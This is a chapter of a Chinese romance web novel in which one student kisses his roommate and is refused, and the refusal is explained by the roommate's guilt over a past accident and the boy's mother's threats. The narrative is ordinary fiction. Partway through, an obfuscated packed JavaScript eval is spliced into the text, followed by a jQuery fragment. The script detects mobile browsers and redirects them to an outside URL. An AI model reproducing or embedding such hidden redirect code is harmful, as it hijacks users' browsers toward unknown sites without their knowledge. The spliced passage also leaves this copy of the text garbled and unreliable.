宿舍里静得能听见窗外的虫鸣，过了好一会儿，他才抬起头，声音带着点不易察觉的颤抖：“我怎么做你才会不生气？我以为你只是担心我会因为温晴忽视你，可是……可是好像不是这样。我想让你开心点儿……”
这句话像根火柴，瞬间点燃了陆严言心里积压的所有情绪。
委屈、愤怒、不甘，还有那份藏在最深处、连自己都不敢细想的喜欢，一股脑地冲了上来。
他几步冲到沈隅面前，伸手就攥住了对方的衣领，力道大得让沈隅踉跄了一下，撞在身后的床架上。
“我……”陆严言的喉咙哽着，看着沈隅近在咫尺的眼睛，那里面映着自己扭曲的影子。
他想吼，想质问，想把心里所有的混乱都倒出来，可最后，所有的动作都凝固在了半空。
空气里只剩下两人急促的呼吸声。陆严言看着沈隅被攥皱的衣领，看着他眼里一闪而过的惊讶，突然觉得无比疲惫。
他猛地低下头，带着所有的愤怒、委屈和绝望，用力地吻了上去。
那是个毫无章法的吻，带着点惩罚似的用力，却又在触碰到对方嘴唇的瞬间，泄了大半的力道。
陆严言能尝到沈隅唇上淡淡的墨水味，还有点薄荷牙膏的清凉。他听见自己的心跳声像擂鼓，震得耳膜发疼。
几秒钟后，他猛地推开沈隅，胸口剧烈起伏着，眼眶红得吓人。“这样，”他的声音嘶哑得像被砂纸磨过，带着种破罐子破摔的绝望，“这样才能让我开心，你能明白吗？”
宿舍里彻底安静了。窗外的虫鸣还在继续，月光透过窗户照进来，在两人之间投下片模糊的光斑。
沈隅靠在床架上，被攥皱的衣领歪在一边，眼睛睁得很大，里面盛着震惊，还有些陆严言看不懂的、细碎的光。
陆严言唇上的温度还残留在自己唇角，沈隅靠在床架上，后背抵着冰凉的铁管，浑身却像被火燎过，每一寸皮肤都泛着灼痛。
他看着陆严言攥着自己衣领的手在发颤，看着他泛红的眼眶里盛着的委屈与孤勇，心脏像是被浸了冰水的棉线勒紧，疼得发闷。
怎么会不明白呢？
从高中重逢那天起，陆严言冲他笑时眼里的光，赖在他床上抢被子时的无赖，问物理题时故意凑得太近的呼吸……这些碎片早就在他心里拼出了形状。
可他不能回应，连一丝犹豫都不敢有。
指尖猛地蜷缩，指甲掐进掌心，渗出血珠也不觉得疼。
那点疼，哪比得上骨头缝里渗出来的寒意——那寒意从初一那个夏天就没散过，混着巷口的尘土味，混着陆严言替他挡拳头时闷哼的声音，混着车祸现场刺目的血色。
“都怪你！”陆母的声音突然在耳边炸开，尖利得像要划破耳膜。
沈隅猛地闭紧眼，眼前却晃出医院走廊里那个女人的样子：头发凌乱，眼睛红肿得像核桃，指甲几乎要戳到他脸上，“如果严言不是为了护着你，怎么会被车撞？都是你害的他！你这个灾星！”
是啊，都是他害的。
沈隅永远记得初一那年，自己总被巷口的几个男生堵着抢钱，是陆严言像道风似的冲过来，把他护在身后，拳头挥得又快又狠，哪怕嘴角被打出血，也梗着脖子喊“有本事冲我来”。
后来他成了陆严言的“小尾巴”，陆严言替他占座位，分他半块面包，甚至在他被老师冤枉时，硬着头皮带他去办公室理论。
他以为那是救赎，却没料到，这份保护最终变成了陆严言的劫难。
车祸那天，他们刚躲过巷口那几个混混的堵截，陆严言拉着他往家跑，笑着说“下次再敢堵你，我打断他们的腿”。
然后那辆失控的货车就冲了过来，陆严言几乎是本能地把他往路边推——他摔在花坛里，回头只看见陆严言被撞飞出去，校服后背洇开大片血色，像朵烂掉的花。
“拿着钱，滚。”陆母把一沓钱摔在他脸上，纸币散落一地，“转学，永远别再出现在他面前。你欠他的，这辈子都还不清。”
他捡钱的时候，手指抖得像筛糠。他答应了，不是因为怕陆母的威胁，是因为他知道，自己确实欠陆严言的。
欠他替自己挨的拳头，欠他挡在身前的背影，欠他躺在手术台上那几个小时里，医生下的三次病危通知。
他像个逃兵似的转了学，把陆严言的名字和所有相关的记忆都锁起来，以为这样就能让他干干净净地活着。
可命运偏要开玩笑，高中开学那天，他在报到处看见了陆严言——
偏偏那个晚上的化学竞赛，陆严言对着自己道歉，说对不起，同学。
他失忆了。
沈隅当时差点转身就跑。可看着陆严言没心没肺的笑脸，看着他又像当年那样，会因为一道题做不出而懊恼地抓头发，那些被锁起来的记忆突然就活了过来，像藤蔓似的缠上心脏，越收越紧。
他对陆严言好，帮他补习，替他占座，甚至默许他赖在自己床上……一半是藏不住的在意，一半是赎罪似的愧疚。
他不敢靠太近，又忍不住想靠近，这种拉扯快要把他逼疯。
现在陆严言吻了他，眼里的光比当年替他挡拳头时还要亮，问他“这样你能明白吗”。
沈隅怎么会不明白？
可他怎么敢回应？
他怕陆母知道，那个女人眼里的恨意像淬了毒的刀，一旦知道他还在陆严言身边，不知道会做出什么事来。
更怕有一天，陆严言突然想起所有事——想起自己是为了救谁才差点死掉，想起自己是怎么被抹去记忆，而他这个“恩人”，拿着他母亲的钱躲了三年，现在还敢对他有不该有的心思。
那时候，陆严言会怎么看他？厌恶？憎恨？还是觉得他用愧疚绑架了自己？
“陆严言……”沈隅的声音哑得像被砂纸磨过，每个字都带着血，“我们……不能这样。”
他别过头，不敢看陆严言的眼睛。窗外的月光落在两人之间，像道冰冷的界限。
心脏在胸腔里疯狂跳动，一半是因为那个带着绝望的吻，一半是因为那沉甸甸的愧疚与恐惧——它们像两座山，压得他连呼吸都觉得疼，更别提回应那份滚烫的感情了。
他欠陆严言的，这辈子都还不清。又怎么敢，再拖他坠入另一个深渊？
陆严言攥着衣领的手猛地松开了。
像被烫到似的，他踉跄着后退两步，后背撞在对面的床架上，发出“咚”的一声闷响。
沈隅那句“不能这样”像块冰，狠狠砸在他心上，瞬间浇灭了刚才所有的冲动和勇气。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279512|182493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他看着沈隅别过去的侧脸，下颌线绷得紧紧的，连耳尖都泛着红——不是动情的红，是隐忍的红。
陆严言突然觉得有点可笑，自己像个跳梁小丑，把最隐秘的心思摔在对方面前，只换来了一句冷冰冰的拒绝。
“为什么？”他听见自己的声音在抖，像被风吹得发颤的蛛网，“你告诉我，为什么不能？”
他不明白。明明前一秒还在给他讲题，还把椅子悄悄挪回他身边，还在降温的早晨把外套塞给他……那些温柔不是假的，那些默契也不是他臆想的，怎么到了这一步，就变成了“不能这样”？
沈隅还是没回头，指尖死死抠着床架的铁棱，指节泛白。“没有为什么。”他的声音硬得像块石头，“我们是朋友，只能是这样。”
“朋友？”陆严言笑了一声，笑声里带着点哭腔，“那你之前对我好，是为了什么？可怜我？还是觉得我没有朋友，需要人可怜？”
他越说越激动，胸口剧烈起伏着，那些被压抑的委屈和困惑像洪水一样涌上来。
他想不通，为什么沈隅看他的眼神总是那么复杂，为什么会在他生气时悄悄挪椅子，为什么拒绝了温晴却又不肯接受自己——这些矛盾像一团乱麻，缠得他喘不过气。
沈隅猛地转过身，眼里蓄着红血丝，像是在拼命忍着什么。
“我不是可怜你！”他的声音陡然拔高，又在下一秒泄了气，低低地重复，“我不是……”
他想说什么，嘴唇动了动，最终还是咽了回去。
那些不能说的秘密像根刺，扎在喉咙里，一开口就疼。
他不能告诉陆严言，自己每一次对你好，都是在偿还当年的债；不能告诉陆严言，看到你冲我笑的时候，我既想靠近，又怕靠得太近会再次伤害你；更不能告诉陆严言，刚才那个吻落下时，他差点就控制不住地回抱过去。
陆严言看着他欲言又止的样子，心里的火气慢慢沉下去，变成了一片冰凉的荒芜。
他突然觉得很累，累得连追问的力气都没有了。
“行。”他点点头，声音哑得像砂纸磨过，“你说什么就是什么。”
他弯腰捡起地上的书包，转身就往门口走。
宿舍门“砰”地关上，震得墙上的奖状都晃了晃。
沈隅僵在原地，他慢慢蹲下身，双手插进头发里，指腹狠狠按着发旋。
窗外的月光透过铁栏杆照进来，在地上投下斑驳的影子，像他此刻支离破碎的心。
他听见自己的呼吸声，粗重而混乱，混着窗外隐约的虫鸣。
刚才陆严言眼里的光彻底灭了，像被踩碎的星星，那副受伤又倔强的样子，比当年看到他倒在血泊里还要让他心疼。
“对不起……”他对着空荡的宿舍，低声说了一句，声音轻得只有自己能听见。
对不起，不能回应你的喜欢。
对不起，要让你承受这些不明不白的疏远。
更对不起，当年没能保护好你，如今连坦诚的勇气都没有。
原来这么多年过去，他还是只会躲在陆严言身后，连一句“我也喜欢你”都不敢说。
沈隅把脸埋进那件短袖里，布料蹭得眼眶发烫。宿舍里静得可怕，只有他压抑的、带着哽咽的呼吸声，在月光里一圈圈散开。